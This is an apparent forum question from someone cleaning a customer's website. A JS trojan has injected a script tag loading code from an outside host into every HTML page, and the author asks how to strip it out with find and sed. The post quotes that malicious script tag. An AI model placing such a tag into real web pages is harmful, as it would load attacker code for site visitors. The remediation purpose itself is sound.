Hi I'm trying to clean a site from a js-trojan for a customer, it has added:
<script src='http://nt02.co.in/3'></script>
to all html-pages.
Since it's too many files to manually clean I tried to a do find like this:
find ./ -type f -exec sed -e "s\<script src='http://nt02.co.in/3'></script>\ \g" {} > {} \;
Problem is you're not allowed to output to the input with sed. So I tried to do something like:
find ./ -type f ! -iname "*.new" -exec sed -e "s\<script src='http://nt02.co.in/3'></script>\ \g" {} > {}.new \;
didn't work either, it outputs a file named "{}.new"...
Any tips on how to do this correct? Or another solution on how to clean this?